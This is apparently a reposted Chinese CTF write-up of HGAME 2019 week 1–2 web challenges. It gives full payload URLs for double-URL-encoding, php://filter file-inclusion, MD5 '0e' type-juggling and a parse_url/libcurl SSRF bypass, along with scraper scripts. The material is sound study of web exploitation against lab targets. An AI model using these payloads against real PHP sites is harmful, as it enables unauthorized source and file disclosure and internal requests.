内容简介:H-Game不是那种。。WEB
2019 Hgame week 1-2 writeup
H-Game
不是那种。。
WEB
week-1
谁吃了我的flag?
题干提示了vim,没好好关机,知道了是 Linux 的vim异常退出
所以访问 .index.html.swp
得到swp,扔到Linux里 vim .index.html.swp -r
恢复,得到flag,这里注意前面的 .
刚开始一直没出来还在硬扫后台。。。最后dalao前面有个 .
。。
换头大作战
有个搜索框,随便输入一个1,返回了 request method is error.I think POST is better
那就用hackbar post提交一个 want=1
(chrome也有hackbar了),然后回显 https://www.wikiwand.com/en/X-Forwarded-For only localhost can get flag
然后用burp改包,用 X-Forwarded-For
伪造ip,重Q发后返回提示需要水狐浏览器访问,继续改包,修改User-agent为水狐 Waterfox/50.0
,继续重发,提示需要从bilibili来访问,继续改,把 referer
改成bilibili,最后把cookies修改成1,得到flag
very easy web
error_reporting(0); include("flag.php"); if(strpos("vidar",$_GET['id'])!==FALSE) die("<p>干巴爹</p>"); $_GET['id'] = urldecode($_GET['id']); if($_GET['id'] === "vidar") { echo $flag; } highlight_file(__FILE__);
题目中有个 urldecode
审计后发现是双重url编码就可以绕过
payload http://120.78.184.111:8080/week1/very_ez/index.php?id=%2576%2569%2564%2561%2572
can u find me?
题目提示 为什么不问问神奇的十二姑娘和她的小伙伴呢
F12在元素中找到 f12.php
访问,要我们提交一个 password
,密码在响应头中,提交后,回显 aoh,your speed is sososo fast,the flag must have been left in somewhere
,查找一番发现没有什么结果,看了一眼f12,发现是存在跳转。开burp比较麻烦,直接用curl获取相应体 curl -i http://47.107.252.171:8080/iamflag.php
第一周的web就结束了
week-2
easy_php
题目标题提示 where is my robots?
直接访问 robots
看到里面的 img/index.php
访问得到源码
error_reporting(0); $img = $_GET['img']; if(!isset($img)) $img = '1'; $img = str_replace('../', '', $img); include_once($img.".php"); highlight_file(__FILE__);
就是替换了 ../
的文件包含,直接双写绕过就好了
payload http://118.24.25.25:9999/easyphp/img/index.php?img=....//flag
,发现得到的竟然不是,思考了下,这里竟然有文件包含,尝试利用伪协议读取源码 http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=....//flag
得到flag
php trick
//admin.php highlight_file(__FILE__); $str1 = (string)@$_GET['str1']; $str2 = (string)@$_GET['str2']; $str3 = @$_GET['str3']; $str4 = @$_GET['str4']; $str5 = @$_GET['H_game']; $url = @$_GET['url']; if( $str1 == $str2 ){ die('step 1 fail'); } if( md5($str1) != md5($str2) ){ die('step 2 fail'); } if( $str3 == $str4 ){ die('step 3 fail'); } if ( md5($str3) !== md5($str4)){ die('step 4 fail'); } if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) { die('step 5 fail'); } if(is_numeric($str5)){ die('step 6 fail'); } if ($str5<9999999999){ die('step 7 fail'); } if ((string)$str5>0){ die('step 8 fial'); } if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){ die('step 9 fail'); } if (parse_url($url,PHP_URL_SCHEME) !== "http"){ die('step 10 fail'); } $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); $output = curl_exec($ch); curl_close($ch); if($output === FALSE){ die('step 11 fail'); } else{ echo $output; }
我觉得一道挺好的入门题。。。嗯。。。有很多的 PHP 特性,一个个来解释
step1,2 php弱类型特性,md5加密后0e绕过,
step3,4 字符串不相等md5严格相等,利用false===false
绕过,直接传入数组,md5返回 false
step5 请求里必须存在 H_game
这个参数
step6,7,8 要求 str5
不是数字或数字字符串,并且小于 9999999999
大于 0
(这里有个小tips,php中数组大于一切数字), str5
是通过 H_game
来获取的,这样就与step5矛盾,需要绕过,这里可以对H使用 url编码
绕过,看了大佬的wp后学到了一个新姿势
在遇到需要在url中请求如:A_A这样的值的时候,可以通过A.A或者A+A来达到相同的效果。
PHP变量名不能带有点[.] 和空格,否则在会被转化为下划线[_] (+号在url中表示空格)
即在url中使用 H+game
代替。
step9,10 使用curl来访问,这里绕过即可,因为 parse_url
和 libcurl
对 url
的解析问题造成 ssrf
parse_url
解析的是 host
最后一个@符号后的 host
,但是 libcurl
解析的是第一个@后的 host
,所以这里这样就可以绕过 /http://@localhost@www.baidu.com/admin.php
,得到源码
//flag.php if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') { die('only localhost can see it'); } $filename = $_GET['filename']??''; if (file_exists($filename)) { echo "sorry,you can't see it"; } else{ echo file_get_contents($filename); } highlight_file(__FILE__);
看到这里的 file_exists()
和 file_get_contents()
明显冲突,使用 php://filter/read=convert.base64-encode/resource=flag.php
绕过
最后的payload http://118.24.3.214:3001/?str1=QNKCDZO&str2=s878926199a&str3[]=1&str4[]=2&%48_game[]=1000000000000000000000000000000000000q&url=http://@localhost:@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
PHP Is The Best Language
源码
include 'secret.php'; #echo $flag; #echo $secret; if (empty($_POST['gate']) || empty($_POST['key'])) { highlight_file(__FILE__); exit; } if (isset($_POST['door'])){ $secret = hash_hmac('sha256', $_POST['door'], $secret); } $gate = hash_hmac('sha256', $_POST['key'], $secret); if ($gate !== $_POST['gate']) { echo "Hacker GetOut!!"; exit; } if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { echo "Wow!!!"; echo "</br>"; echo $flag; } else { echo "Hacker GetOut!!"; }
hash_hmac
— 使用 HMAC 方法生成带有密钥的哈希值
当第二个参数为数组的时候返回null,利用这个特性,即使不知道$secret,也可以控制$gate这个参数。
然后就是 (md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1)
绕过了,这个可以利用弱类型,构造0e,提供一个字符串 V5VDSHva7fjyJoJ33IQl
。然后把这个 sha256
加密后做gate提交,就可以了
Baby_Spider
学到很多东西的一题,题目明确爬虫+python3来做,开始毫无头绪,后来看了大佬的wp,知道了这里有两个反扒机制,一个是携程用的css来打乱显示数字,一个是使用字体替换来反扒。然后做了早就想开坑的 selenuim
,这次用了 requests
和 selenuim
两种方法来做这道题,可以说是收获良多了。
# selenuim方法 from selenium import webdriver url = 'http://111.231.140.29:10000/' driver = webdriver.Chrome("chromedriver.exe") driver.get(url) start_input = driver.find_element_by_name('token') #获取输入框 start_button = driver.find_element_by_tag_name('button') #获取点击按钮 start_input.send_keys('your token') #输入你的token start_button.click() def calc(value): answer = eval(str(value)) submit = driver.find_element_by_tag_name('button') value_input = driver.find_element_by_name('answer') value_input.send_keys(str(answer)) submit.click() for i in range(0,30): if i <10: value = driver.find_element_by_class_name('question-container').text.split('=')[0] calc(value) if i >= 10 and i < 20: cal = driver.find_element_by_class_name('question-container').text.split('=')[0] intab = "1234567890" outtab = "0269435871" trantab = str.maketrans(intab, outtab) cal = cal.translate(trantab) """ 这里是开始不知道有翻译表这个方法的时候想的方法,毕竟也想了那么久。。。记录一下 """ # key_values = { # '1':'0', # '2':'2', # '3':'6', # '4':'9', # '5':'4', # '6':'3', # '7':'5', # '8':'8', # '9':'7', # '0':'1', # } # for j in range(len(cal)): # if key_values.__contains__(cal[j]): # cal = cal[:j] + key_values[cal[j]] + cal[j+1:] # else: # cal = cal[:j] + cal[j] + cal[j+1:] calc(cal) if i >= 20: # 这里使用js获取伪元素的content的值 js = "var h3 = document.querySelector('.question-container');var result= getComputedStyle(h3, '::after').content;return result;" result = driver.execute_script(js) result = result.replace("=?", "") result = result.replace("\"", "") calc(result)
# requests方法 import requests import re url = 'http://111.231.140.29:10000/' data = {'token' : 'your token'} #输入你的token # 这道题目如果你用requests的话,再后面二十题要加请求头,不然会被强制关机!。。。。。,应该是有个请求头检测 headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' ,'Referer': 'http://111.231.140.29:10000/question'} def get_cookie(req): Session = req.headers['Set-Cookie'].split(';')[0] return Session def calc(formula): result = eval(str(formula)) return result def get_formula_(req,i): print("正在计算第%s题..."%str(i)) template = re.compile('<div class="question-container"><span>(.*?)=\?</span></div>',re.S) formula = template.findall(req.text)[0] print(formula) return formula def tran(formula): intab = "1234567890" outtab = "0269435871" trantab = str.maketrans(intab, outtab) formula = formula.translate(trantab) return formula def get_css_formula(css): template = re.compile('content:"(.*?)=\?";',re.S) formula = template.findall(css)[0] # print(formula) return formula req = requests.req = requests.post(url, data=data, headers=headers) #第一次请求 req = requests.get( url, headers={'Cookie':get_cookie(req)} ) # print(req.text) for i in range(1,31): url = 'http://111.231.140.29:10000/solution' formula = get_formula_(req, i) if i <= 10: Session = get_cookie(req) # print(result) # print(req.text) if 20 >= i > 10: formula = tran(formula) Session = get_cookie(req) if i > 20: # 这里要重新获取session不然请求的是20题的css得不到content Session = get_cookie(req) css = requests.get( 'http://111.231.140.29:10000/statics/style.css', headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': Session, 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Referer': 'http://111.231.140.29:10000/question'} ).text formula = get_css_formula(css) result = calc(formula) req = requests.post( 'http://111.231.140.29:10000/solution', data={'answer': result}, headers={ 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': Session, 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Referer': 'http://111.231.140.29:10000/question'} ) if 'hgame'in req.text: print(req.text)
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。